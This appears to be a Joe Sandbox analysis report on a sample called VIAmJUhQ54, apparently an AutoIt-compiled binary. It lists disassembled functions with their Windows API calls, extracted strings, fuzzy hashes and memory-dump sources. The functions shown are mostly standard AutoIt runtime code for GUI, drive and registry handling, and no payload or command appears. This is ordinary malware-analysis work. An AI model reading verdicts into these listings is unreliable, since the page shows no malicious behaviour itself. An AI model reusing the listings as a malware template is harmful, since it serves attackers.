API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: 1dc69f9117c7b2fbb167a4bbc867121185be336ae9156eb825f6baae5deb23cb
Instruction ID: 43db3081017dbf93238c620749dcf5c2965e80947d8314f04cc1a62ee4169fa6
Opcode Fuzzy Hash: 1dc69f9117c7b2fbb167a4bbc867121185be336ae9156eb825f6baae5deb23cb
Instruction Fuzzy Hash: 04919E71408305FFCB20AF64DC08E6BBBA9FB8A321F104A19F962965E0D779DD44CB56

Function 0073B8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 0073B98B
DeleteObject.GDI32(00000000), ref: 0073B9CD
DeleteObject.GDI32(00000000), ref: 0073B9D8
DestroyIcon.USER32(00000000), ref: 0073B9E3
DestroyWindow.USER32(00000000), ref: 0073B9EE
SendMessageW.USER32(?,00001308,?,00000000), ref: 0079D2AA
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0079D2E3
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 0079D711

Part of subcall function 0073B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,0073B759,?,00000000,?,?,?,?,0073B72B,00000000,?), ref: 0073BA58

SendMessageW.USER32 ref: 0079D758
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0079D76F
ImageList_Destroy.COMCTL32(00000000), ref: 0079D785
ImageList_Destroy.COMCTL32(00000000), ref: 0079D790

Strings

0, xrefs: 0079D5A5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 0c96f74b5d2ee3f013a577b2cd8824972f3a0687aecdc82f398e8bcd04d5a62e
Instruction ID: e4cb3138455ccde9c3374f00dd6695edce9effbfcac309e4ecb9d05701bb2fc9
Opcode Fuzzy Hash: 0c96f74b5d2ee3f013a577b2cd8824972f3a0687aecdc82f398e8bcd04d5a62e
Instruction Fuzzy Hash: 33129D70604201DFDF25CF28D888BA9BBE5FF49304F144569EA8ACB662C739EC51CB91

Function 0076DBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0076DBD6
GetDriveTypeW.KERNEL32(?,007BDC54,?,\\.\,007BDC00), ref: 0076DCC3
SetErrorMode.KERNEL32(00000000,007BDC54,?,\\.\,007BDC00), ref: 0076DE29

Strings

SSA, xrefs: 0076DDAF
SAS, xrefs: 0076DDD2
SATA, xrefs: 0076DDD9
1394, xrefs: 0076DDA8
MMC, xrefs: 0076DDE7
ATA, xrefs: 0076DDA1
FileBackedVirtual, xrefs: 0076DDF5
PhysicalDrive, xrefs: 0076DC67
Network, xrefs: 0076DD01
ATAPI, xrefs: 0076DD9A
iSCSI, xrefs: 0076DDCB
Fixed, xrefs: 0076DD0B
USB, xrefs: 0076DDBD
Virtual, xrefs: 0076DDEE
Removable, xrefs: 0076DD15
RAID, xrefs: 0076DDC4
SCSI, xrefs: 0076DD93
SSD, xrefs: 0076DD50
Fibre, xrefs: 0076DDB6
CDROM, xrefs: 0076DCF7
Unknown, xrefs: 0076DCE3, 0076DD8C
\\.\, xrefs: 0076DC2B
RAMDisk, xrefs: 0076DCED

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 25b0d486867c1c5b48e69f2b88012abe13afbc9ab10e785302f3430988b48366
Instruction ID: 0f80744d6e5bf60334dd9d23e70911a790cf5f3fe07a0d1e9728613b949ec756
Opcode Fuzzy Hash: 25b0d486867c1c5b48e69f2b88012abe13afbc9ab10e785302f3430988b48366
Instruction Fuzzy Hash: 265180B0B68302EBC220EF10D886C69B7B1FB94704F28492BF8479B295DB7DDD45D652

Function 0072CC24 Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 267COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0072CC68
__wcsnicmp.LIBCMT ref: 0072CC80
__wcsnicmp.LIBCMT ref: 0072CC98
__wcsnicmp.LIBCMT ref: 0072CCB0
__wcsnicmp.LIBCMT ref: 0072CCC8
__wcsnicmp.LIBCMT ref: 0072CCE0
__wcsnicmp.LIBCMT ref: 0072CCF8
__wcsnicmp.LIBCMT ref: 0072CD0C
__wcsnicmp.LIBCMT ref: 0072CD4D
__wcsnicmp.LIBCMT ref: 0072CD61
__wcsnicmp.LIBCMT ref: 0072CD75
__wcsnicmp.LIBCMT ref: 0072CD89

Strings

#comments-start, xrefs: 0072CCF2, 0072CD47
Unterminated group of comments, xrefs: 00792FB4
Bad directive syntax error, xrefs: 00792ECB
#pragma compile, xrefs: 0072CC62
Cannot parse #include, xrefs: 00792FA1
#cs, xrefs: 0072CD06, 0072CD5B
#notrayicon, xrefs: 0072CC7A
#requireadmin, xrefs: 0072CC92
#OnAutoItStartRegister, xrefs: 0072CCAA
#include, xrefs: 0072CCDA
#ce, xrefs: 0072CD83
#comments-end, xrefs: 0072CD6F
#include-once, xrefs: 0072CCC2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 5330ee52841e5c5203d517de20a8c3b9ab0612299203bc3d686858a4dcc3401e
Instruction ID: f7d9aa67d2b3b5f76c1a0075cc43fc61763af3f5c746833f825776c32e9e5544
Opcode Fuzzy Hash: 5330ee52841e5c5203d517de20a8c3b9ab0612299203bc3d686858a4dcc3401e
Instruction Fuzzy Hash: 9C811871740225FBDB26BB64EC96FBF3769AF24300F044025F905AA183EB6DD946C2A5

Function 0078C6E9 Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 447windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 0078C788
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0078C83E
SendMessageW.USER32(?,00001102,00000002,?), ref: 0078C859
SendMessageW.USER32(?,000000F1,?,00000000), ref: 0078CB15

Strings

0, xrefs: 0078C89C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: a628a783ac9691bd6bf82e2111bebe05c02e990177ddb28495c4e9aee59dca40
Instruction ID: 844923a84d27637eb51bded8ad25c52f31a8617724b6bedbd5ab8370e5aede00
Opcode Fuzzy Hash: a628a783ac9691bd6bf82e2111bebe05c02e990177ddb28495c4e9aee59dca40
Instruction Fuzzy Hash: 83F1E370184341AFD726AF24C889BAABBE4FF49354F084529F589D62A1C77CDC44DBB2

Function 0078638D Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 352COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,007BDC00), ref: 00786449

Strings

HIDEDROPDOWN, xrefs: 00786520
SETCURRENTSELECTION, xrefs: 007865D6
SELECTSTRING, xrefs: 00786626
GETCURRENTSELECTION, xrefs: 00786603
CURRENTTAB, xrefs: 007864DD
CHECK, xrefs: 0078668B
TABRIGHT, xrefs: 007864BD
GETLINECOUNT, xrefs: 007866E4
GETSELECTED, xrefs: 007866C1
SHOWDROPDOWN, xrefs: 00786500
DELSTRING, xrefs: 00786569
ISVISIBLE, xrefs: 00786455
GETLINE, xrefs: 0078678B
ISCHECKED, xrefs: 00786659
GETCURRENTCOL, xrefs: 00786724
GETCURRENTLINE, xrefs: 00786704
UNCHECK, xrefs: 007866A1
SENDCOMMANDID, xrefs: 007867CA
ISENABLED, xrefs: 0078648C
FINDSTRING, xrefs: 00786596
ADDSTRING, xrefs: 00786536
EDITPASTE, xrefs: 0078675B
TABLEFT, xrefs: 007864A7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharUpper
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 3964851224-45149045
Opcode ID: 1f468e89b3a86ffa821fa7f76678436378122a3078b11cb80bf8dd6dcafb7ddc
Instruction ID: eac1c4572be2f2edb8f05a2ca1a857cf7e25c9da8947bcc5e752a38a1bb0623d
Opcode Fuzzy Hash: 1f468e89b3a86ffa821fa7f76678436378122a3078b11cb80bf8dd6dcafb7ddc
Instruction Fuzzy Hash: 6BC16E30244245EBCB04FF10C555AAE77A5AF94354F144869F8866B3E3EB3CED4ACB92

Function 0078D575 Relevance: 39.2, APIs: 26, Instructions: 186windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0078D5AE
SetTextColor.GDI32(?,?), ref: 0078D5B2
GetSysColorBrush.USER32(0000000F), ref: 0078D5C8
GetSysColor.USER32(0000000F), ref: 0078D5D3
CreateSolidBrush.GDI32(?), ref: 0078D5D8
GetSysColor.USER32(00000011), ref: 0078D5F0
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0078D5FE
SelectObject.GDI32(?,00000000), ref: 0078D60F
SetBkColor.GDI32(?,00000000), ref: 0078D618
SelectObject.GDI32(?,?), ref: 0078D625
InflateRect.USER32(?,000000FF,000000FF), ref: 0078D644
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0078D65B
GetWindowLongW.USER32(00000000,000000F0), ref: 0078D670
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0078D698
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0078D6BF
InflateRect.USER32(?,000000FD,000000FD), ref: 0078D6DD
DrawFocusRect.USER32(?,?), ref: 0078D6E8
GetSysColor.USER32(00000011), ref: 0078D6F6
SetTextColor.GDI32(?,00000000), ref: 0078D6FE
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0078D712
SelectObject.GDI32(?,0078D2A5), ref: 0078D729
DeleteObject.GDI32(?), ref: 0078D734
SelectObject.GDI32(?,?), ref: 0078D73A
DeleteObject.GDI32(?), ref: 0078D73F
SetTextColor.GDI32(?,?), ref: 0078D745
SetBkColor.GDI32(?,?), ref: 0078D74F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: e7ba53ba2057240d26a95691472e8edb416f35e487d1ea522e51999714cffc62
Instruction ID: a1ea0607fca2813ca4d08de8ad62ca5a8195bf1f164f897a4fcc97d492d43d49
Opcode Fuzzy Hash: e7ba53ba2057240d26a95691472e8edb416f35e487d1ea522e51999714cffc62
Instruction Fuzzy Hash: 27513C71900208BFDB20AFA4DC48EEE7B79EB49320F218515F916AB2E1D7799E40CF54

Function 0078B6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0078B7B0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0078B7C1
CharNextW.USER32(0000014E), ref: 0078B7F0
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0078B831
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 0078B847
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0078B858
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 0078B875
SetWindowTextW.USER32(?,0000014E), ref: 0078B8C7
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 0078B8DD
SendMessageW.USER32(?,00001002,00000000,?), ref: 0078B90E
_memset.LIBCMT ref: 0078B933
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 0078B97C
_memset.LIBCMT ref: 0078B9DB
SendMessageW.USER32 ref: 0078BA05
SendMessageW.USER32(?,00001074,?,00000001), ref: 0078BA5D
SendMessageW.USER32(?,0000133D,?,?), ref: 0078BB0A
InvalidateRect.USER32(?,00000000,00000001), ref: 0078BB2C
GetMenuItemInfoW.USER32(?), ref: 0078BB76
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0078BBA3
DrawMenuBar.USER32(?), ref: 0078BBB2
SetWindowTextW.USER32(?,0000014E), ref: 0078BBDA

Strings

0, xrefs: 0078BB4F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 2b1671bf26f92177cfa37831e72c6836e097c67172f309c8a4997aac617e6843
Instruction ID: 3b617bd2d09db9f25779a91af38ced04d7a667469fe187253f3ff2808b4fc9bc
Opcode Fuzzy Hash: 2b1671bf26f92177cfa37831e72c6836e097c67172f309c8a4997aac617e6843
Instruction Fuzzy Hash: 17E1B1B0940219EBDF20EF65CC84EEE7B78FF45750F148156F919AA290DB789A41CF60

Function 00722EC0 Relevance: 37.1, APIs: 8, Strings: 13, Instructions: 346COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00722F7A
IsWindow.USER32(?), ref: 007922FD

Strings

T+}, xrefs: 0079220E
L+}, xrefs: 007921B2
TITLE, xrefs: 00792292
REGEXPTITLE, xrefs: 007920F8
INSTANCE, xrefs: 0079223C
ALL, xrefs: 00792264
HANDLE, xrefs: 007920E2
ACTIVE, xrefs: 007920CC
LAST, xrefs: 007920B6
REGEXPCLASS, xrefs: 00792149
H+}, xrefs: 00792184
P+}, xrefs: 007921E0
CLASS, xrefs: 00792128

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Foreground
String ID: ACTIVE$ALL$CLASS$H+}$HANDLE$INSTANCE$L+}$LAST$P+}$REGEXPCLASS$REGEXPTITLE$T+}$TITLE
API String ID: 62970417-1978551418
Opcode ID: a2d96ee71808f697762616c420e464fba544099f0d6388d3e638c1354ab7e945
Instruction ID: 2064eb7e917d89a754e00f9810050584cc8038058fe4482c1b2be125dc7bf2a3
Opcode Fuzzy Hash: a2d96ee71808f697762616c420e464fba544099f0d6388d3e638c1354ab7e945
Instruction Fuzzy Hash: 2DD1B230104646FBCF14FF10E885AAABBB0BF54344F104A29F456675A3DB78E99BCB91

Function 0078764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 0078778A
GetDesktopWindow.USER32 ref: 0078779F
GetWindowRect.USER32(00000000), ref: 007877A6
GetWindowLongW.USER32(?,000000F0), ref: 00787808
DestroyWindow.USER32(?), ref: 00787834
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 0078785D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0078787B
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 007878A1
SendMessageW.USER32(?,00000421,?,?), ref: 007878B6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 007878C9
IsWindowVisible.USER32(?), ref: 007878E9
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00787904
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00787918
GetWindowRect.USER32(?,?), ref: 00787930
MonitorFromPoint.USER32(?,?,00000002), ref: 00787956
GetMonitorInfoW.USER32 ref: 00787970
CopyRect.USER32(?,?), ref: 00787987
SendMessageW.USER32(?,00000412,00000000), ref: 007879F2

Strings

tooltips_class32, xrefs: 00787856
0, xrefs: 00787735
(, xrefs: 00787965

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: e6f018112ef004a60e5ec3e11e7e4aef3558f3cb6600ed3e25b74ecad2e28eec
Instruction ID: 736a1b5b3a2e27f57bbebd2054c480f025ba05aaa1d12e3446c7a0f811afb30c
Opcode Fuzzy Hash: e6f018112ef004a60e5ec3e11e7e4aef3558f3cb6600ed3e25b74ecad2e28eec
Instruction Fuzzy Hash: FCB17C71608350EFDB14EF64C988B5ABBE4BF88310F10891DF59A9B291D778EC04CB96

Function 00766CE9 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00766CFB
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00766D21
_wcscpy.LIBCMT ref: 00766D4F
_wcscmp.LIBCMT ref: 00766D5A
_wcscat.LIBCMT ref: 00766D70
_wcsstr.LIBCMT ref: 00766D7B
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00766D97
_wcscat.LIBCMT ref: 00766DE0
_wcscat.LIBCMT ref: 00766DE7
_wcsncpy.LIBCMT ref: 00766E12

Strings

DefaultLangCodepage, xrefs: 00766DFA
%u.%u.%u.%u, xrefs: 00766E75
\VarFileInfo\Translation, xrefs: 00766D8F
04090000, xrefs: 00766DCD
StringFileInfo\, xrefs: 00766D6A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 00d2edc353bedc78a875f80e4959e64ecd27630c66a0cc6e75b539fb601468dd
Instruction ID: d3b8381206e0696b24daa9bdf5a43eb15e56fe2798c41acd95643b39f20d690d
Opcode Fuzzy Hash: 00d2edc353bedc78a875f80e4959e64ecd27630c66a0cc6e75b539fb601468dd
Instruction Fuzzy Hash: ED41B4B1A00205FBEB10BB64CD4BEBF777CEF51710F440069F906A6182EB7D9A1196A6

Function 0073A856 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0073A939
GetSystemMetrics.USER32(00000007), ref: 0073A941
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0073A96C
GetSystemMetrics.USER32(00000008), ref: 0073A974
GetSystemMetrics.USER32(00000004), ref: 0073A999
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 0073A9B6
AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 0073A9C6
CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0073A9F9
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0073AA0D
GetClientRect.USER32(00000000,000000FF), ref: 0073AA2B
GetStockObject.GDI32(00000011), ref: 0073AA47
SendMessageW.USER32(00000000,00000030,00000000), ref: 0073AA52

Part of subcall function 0073B63C: GetCursorPos.USER32(000000FF), ref: 0073B64F
Part of subcall function 0073B63C: ScreenToClient.USER32(00000000,000000FF), ref: 0073B66C
Part of subcall function 0073B63C: GetAsyncKeyState.USER32(00000001), ref: 0073B691
Part of subcall function 0073B63C: GetAsyncKeyState.USER32(00000002), ref: 0073B69F

SetTimer.USER32(00000000,00000000,00000028,0073AB87), ref: 0073AA79

Strings

AutoIt v3 GUI, xrefs: 0073A9F1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 428b376cd06aeafa40c258f27b007a1e5a63c7e9201a97cfc25db59c4af1d89f
Instruction ID: 5202e3127bffd18a6be7fd2be477ae6ccfd15d41bbabb4dd176576b90b3e843a
Opcode Fuzzy Hash: 428b376cd06aeafa40c258f27b007a1e5a63c7e9201a97cfc25db59c4af1d89f
Instruction Fuzzy Hash: 3AB17E71A0020AEFEB14DFA8DC46BED7BB4FB48314F118129FA55A7290DB78AC50CB55

Function 00783639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00783735
RegCreateKeyExW.ADVAPI32(?,?,00000000,007BDC00,00000000,?,00000000,?,?), ref: 007837A3
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 007837EB
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00783874
RegCloseKey.ADVAPI32(?), ref: 00783B94
RegCloseKey.ADVAPI32(00000000), ref: 00783BA1

Strings

REG_DWORD, xrefs: 00783A65
REG_EXPAND_SZ, xrefs: 00783811
REG_MULTI_SZ, xrefs: 0078395C
REG_QWORD, xrefs: 00783AE2
REG_SZ, xrefs: 007838B2
REG_BINARY, xrefs: 00783B2F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
